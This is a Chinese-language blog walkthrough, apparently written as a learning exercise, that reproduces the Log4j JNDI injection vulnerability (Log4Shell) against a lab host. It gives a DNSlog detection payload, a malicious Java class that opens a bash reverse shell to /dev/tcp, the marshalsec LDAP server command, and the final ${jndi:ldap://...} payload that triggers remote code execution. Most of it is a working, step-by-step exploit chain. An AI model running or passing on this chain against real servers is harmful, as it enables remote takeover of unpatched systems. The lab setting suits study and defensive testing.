Log4j复现

首页 / 学习 / 正文

娱乐周六😭

Log4j漏洞复现

访问:10.0.2.6:8983

94080254987.png

访问存在漏洞页面:http://10.0.2.6:8983,抓包。请求

漏洞存在点在payload参数,payload格式为:${jndi:ldap://hohzad.dnslog.cn}

093534478.png

刷新下dnslog记录 发现已经记录上了IP

4097298268_mosaic.png

发现dnslog.cn记录,说明存在log4j2-rce漏洞。

在本地或者vps上创建一个名为Exp.java的文件,内容如下:

public class Exp {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"bash","-c","bash -i >& /dev/tcp/10.0.2.15/8001 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
        }
    }
}

在当前目录下执行javac Exp.java后,会编译生成一个Exp.class文件

04414795.png

使用python3 –m http.server 命令,在当前目录起一个http服务。默认端口为8000。浏览器访问http://vps-ip:8000,出现如下,即表示启动成功:

808333.png
07369305.png

需要marshalsec调用恶意java类,marshalsec工具的下载可,需要自己编译一下

https://github.com/mbechler/marshalsec

这里需要搭建RMI服务,首先下载marshalsec

git clone https://github.com/mbechler/marshalsec.git

安装maven并编译marshalsec生成jar

apt-get install maven 
mvn clean package-DskipTests

09194320.png

将marshalsec-0.3.0.3-SNAPSHOT-all.jar工具复制到上述文件的同一目录

894110579633.png

执行命令

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://vps-ip:8000/#Exp" 9595监听

4125375203.png

替换payload: ${jndi:ldap://vps-ip:9595/Exp}

134162134.png

发送数据包,触发漏洞,反弹shell:

324602.png

无标签